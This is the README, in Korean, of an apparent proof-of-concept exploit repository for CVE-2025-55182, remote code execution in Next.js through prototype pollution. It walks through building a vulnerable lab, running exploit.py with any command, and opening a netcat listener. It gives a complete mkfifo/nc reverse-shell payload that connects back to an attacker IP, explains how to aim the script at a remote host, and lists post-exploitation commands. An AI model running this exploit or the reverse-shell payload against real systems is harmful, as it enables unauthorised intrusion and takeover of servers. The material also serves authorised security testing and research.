
CVE-2025-55182에 대한 개념 증명 익스플로잇으로, Next.js에서 프로토타입 오염을 통한 원격 코드 실행을 시연합니다. 승인된 테스트 및 리버스 셸 생성을 위한 사전 구성된 취약 연구실이 포함되어 있습니다.
React 서버 컴포넌트 렌더링 파이프라인의 프로토타입 오염을 통해 Next.js 애플리케이션에서 원격 코드 실행 취약점을 증명하는 개념 증명 익스플로잇입니다.
이 도구는 교육 및 승인된 테스트 목적으로만 사용해야 합니다. 소유하거나 테스트 권한이 없는 시스템에 무단으로 사용하는 것은 불법입니다.
git clone https://github.com/securifyai/React2Shell-CVE-2025-55182.git
cd React2Shell-CVE-2025-55182
# 취약한 버전으로 새 Next.js 앱 생성
npm create [email protected] react2shell-lab
# 프롬프트가 표시되면 기본값을 모두 수락
cd react2shell-lab
참고: 사전 구성된 랩에는 필요한 취약 코드가 이미 포함되어 있습니다. 처음부터 생성하는 경우 취약한 구성 요소를 수동으로 추가해야 합니다.
cd react2shell-lab
npm install
터미널 1:
npm run dev
서버가 http://localhost:3000에서 시작됩니다.
저장소에는 취약점을 시연하는 exploit.py 파일이 포함되어 있습니다. 파일의 COMMAND 변수를 원하는 명령어로 수정하세요:
COMMAND = 'whoami' # 실행하려는 모든 명령어로 변경
익스플로잇 실행:
python3 exploit.py
새 터미널에서 netcat 리스너 설정:
nc -nvlp 4444
exploit.py를 편집하고 명령어를 리버스 셸 페이로드로 업데이트:
COMMAND = 'rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc YOUR_IP 4444 >/tmp/f'
YOUR_IP를 로컬 머신의 IP 주소로 바꾸세요.
익스플로잇 실행:
python3 exploit.py
익스플로잇 스크립트의 HOST 변수를 편집하여 원격 서버를 대상으로 지정:
HOST = 'target-ip-address' # 대상 IP로 바꾸기
PORT = 3000 # 기본 Next.js 포트
ls -launame -awhoamiifconfig 또는 ip a이 프로젝트는 MIT 라이선스에 따라 라이선스가 부여됩니다. 자세한 내용은 LICENSE 파일을 참조하세요.
이 버전은 원격 대상과 공격자 IP 및 포트에 대한 사용자 입력을 요청합니다. 본문(body_parts)도 이 버전에서 약간 줄였습니다.
https://www.averlon.ai/blog/react2shell-cve-2025-55182-explained